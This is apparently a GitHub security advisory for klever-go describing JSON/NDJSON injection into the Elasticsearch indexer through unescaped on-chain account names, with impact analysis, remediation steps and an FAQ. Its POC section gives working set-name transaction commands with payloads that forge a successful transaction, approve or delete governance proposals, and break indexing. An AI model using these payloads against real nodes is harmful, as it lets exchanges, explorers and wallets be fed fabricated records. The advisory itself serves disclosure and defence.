GHSA-7c7c-373r-gfjj: Go/github.com/klever-io/klever-go vulnerability
Component: Elasticsearch indexer (indexer/) Primary location: indexer/common.go:2395-2407 (serializedDataForUpdateAccounts) Entry point: SetAccountName native transaction (contract type 12) — core/process/transaction/txProcess.go:688
---
Description
When the node indexes account updates to Elasticsearch, it builds the ES bulk painless-script line by splicing the account's name directly into JSON with fmt.Sprintf("%s", ...) and no escaping:
go // indexer/common.go:2395-2407 (serializedDataForUpdateAccounts) serializedData := []byte(fmt.Sprintf({"script":{"source":"+ ctx.source.name = params.name; ... + ","lang": "painless","params":+ {"name": "%s", "nonce": %d, "rootHash": "%s", "balance": %d, ...}}}, acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...)) // acc.Name is RAW
acc.Name originates from on-chain account state: indexer/accountInfo.go:31 sets Name: string(userAccount.GetName()). An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the SetAccountName handler:
go // core/kapp/accounts/accounts.go:1740 if !utf8.Valid(tc.GetName()) || len(tc.GetName()) > core.MaxNameSize { ... } // MaxNameSize = 100
The only constraints are valid UTF-8 and length ≤ 100 bytes. Double-quote ("), backslash (\), and newline (\n) are all valid UTF-8 and are not rejected. The safe helper converters.JsonEscape() exists and is used for id fields elsewhere in the same file (common.go:893, :932, :961) but is not applied to the name.
The resulting buffer is POSTed verbatim to Elasticsearch bulk by elasticClient.DoBulkRequest (indexer/elasticClient.go:128), with the index in the URL. The bulk body is NDJSON — newline-delimited action/source pairs (indexer/data/buffer.go:45 appends a \n after every entry). Therefore a name containing a quote and newlines can
- inject arbitrary keys/structure into the document, - break the batch, and - inject entirely new bulk operations targeting other documents and other indices.
SetAccountName is a first-class transaction contract type (= 12) dispatched natively at txProcess.go:688 via SetAccountName(tx.GetSender(), tc). The attacker names their own account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in KleverSetAccountName, but that path is not needed.)
The name is written into consensus account state (userAccount.SetName, data/state/userAccount.go:76) and replicated to all nodes. The indexer reads it from state, not from the transaction, during each node's own block processing (core/process/block/block.go:1141 SaveBlock / SaveAccounts). Consequently:
- The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough. - Indexers typically run on observer/gateway nodes that power the public explorer/API — exactly the realistic victim. - The payload is durable and replayable: a newly stood-up indexer, or a historical re-index (import-DB mode, cmd/node/startup.go:153), re-reads the name from state and re-fires the injection.
Escalation — from denial-of-indexing to arbitrary ES document CRUD
Elasticsearch bulk fails a malformed line differently by position: malformed action line → whole-batch HTTP 400 (nothing applies); malformed source line → per-item error (other items still apply). By appending a sacrificial action after the forged op, the serializer's fixed template tail (", "nonce":...}}}) lands in a source position (item-level error), so a clean forged op that precedes it is applied. This yields arbitrary create / overwrite / delete of documents in any index the indexer's ES credentials can write — cross-index via {"index":{"index":"...", "id":"..."}}.
Deployment amplifier (default ES config)
The Elasticsearch config klever ships (docker/elasticsearch/elasticsearch.yml, docker/docker-compose.yml) sets xpack.security.enabled: false, network.host: 0.0.0.0, publishes 9200:9200, and CORS with POST,PUT,DELETE. The node's default config/node/external.yaml connects with empty username/password. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, this injection is the remote bridge that reaches that private ES through the node's own trusted connection.
---
POC
The entire attack is a single SetAccountName transaction the attacker sends from any funded account, naming its own account with a crafted payload.
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"index":{"index":"transactions","id":"t"}}\n{"status":"success"}\n{"index":{}}'
This submits contract type 12 (SetAccountNameContract) with:
Name = "}}}⏎{"index":{"index":"transactions","id":"t"}}⏎{"status":"success"}⏎{"index":{}} (84 bytes ≤ MaxNameSize 100; ⏎ = literal \n. On-chain Name is []byte, i.e. base64 In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319.)
{ "update": { "index":"accounts", "id":"<attacker>" } } {"script":{ ... ,"params":{"name": ""}}} {"index":{"index":"transactions","id":"t"}} ← forged bulk action {"status":"success"} ← forged doc → written to transactions {"index":{}}", "nonce":1, ... }}} ← sacrificial op absorbs the template tail
Observed result: a forged document {"status":"success"} with id:"t" appears in the transactions index — the attacker never submitted any such transaction:
GET transactions/doc/t
{ "found": true, "source": { "status": "success" } }
Escalation variants — same delivery, only the Name changes
Each is a single SetAccountName tx sent the same way; only the payload differs.
Denial-of-indexing (2-byte name — breaks the batch, drops every co-batched account update): operator --node=http://<node>:8099 -k attacker.pem --sign account set-name 'x"'
Cross-index write / forge a document (e.g. a governance proposal doc; 82 bytes): operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"index":{"index":"proposals","id":"5"}}\n{"status":"approved"}\n{"index":{}}'
Delete a document (e.g. proposal id 5; 61 bytes): operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"delete":{"index":"proposals","id":"5"}}\n{"index":{}}'
---
Impact
A single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch bulk stream of every node that indexes the chain now or in the future. Two tiers of impact:
1. Denial-of-indexing A name containing a single " or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account's balance/name/nonce update is silently dropped → the explorer/API serves stale data. Repeatable every block.
2. Arbitrary document CRUD across all indexer indices (escalation). Using the sacrificial-op construction, the attacker can create/overwrite/delete documents in any klever index the indexer writes (transactions, blocks, accounts, proposals, assets, marketplaces, ...): forge "successful" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data can be fed fabricated records, enabling fraud (e.g. a forged status:success transaction).
Amplifiers: the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated.
---
Recommendation
1. Escape the name . Never splice on-chain strings into JSON with fmt.Sprintf. Either apply the existing converters.JsonEscape() to acc.Name (mirror the id handling), or preferably build the entire bulk source with json.Marshal of a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit every fmt.Sprintf-built bulk/script line in indexer/common.go for the same pattern (RootHash and other %s fields on this and nearby paths).
2. Restrict the on-chain account-name charset at SetAccountName (accounts.go:1740) reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/klever-io/klever-goto a version that resolves this vulnerability.Fixed in 1.7.20 - Configuration
Escape acc.Name before constructing Elasticsearch bulk JSON; preferably build the entire bulk source with json.Marshal of a typed struct so on-chain strings cannot alter the JSON/NDJSON structure.
Elasticsearch indexer JSON serialization of on-chain account names in bulk documents = Use json.Marshal on a typed struct (or apply converters.JsonEscape() to acc.Name) - Configuration
Restrict the on-chain account-name charset at SetAccountName as defense-in-depth, and gate this consensus-visible validation change behind an epoch fork flag.
SetAccountName account-name charset validation = Reject control characters, quotes, and backslashes, or allow only a safe printable subset
Event History
Frequently Asked Questions
Which deployments are exposed?
Deployments that use the Elasticsearch indexer and process account updates are exposed through the indexer's bulk-update serialization path. The affected path is in indexer/common.go in serializedDataForUpdateAccounts.
What does an attacker need to do to reach the vulnerable code?
An attacker needs to submit a SetAccountName native transaction (contract type 12) that sets an account name. That name is stored in on-chain account state and later used by the indexer when constructing the Elasticsearch bulk request.
Do the shown account-name checks prevent JSON injection?
No. The shown validation checks UTF-8 validity and maximum length, but the name is inserted into a JSON string without escaping. UTF-8-valid input can still contain characters that require JSON escaping.
Is there a documented workaround if patching cannot happen immediately?
No workaround is provided in the available data. The available references include two upstream commits associated with the advisory, but no configuration-based mitigation or detection guidance is described.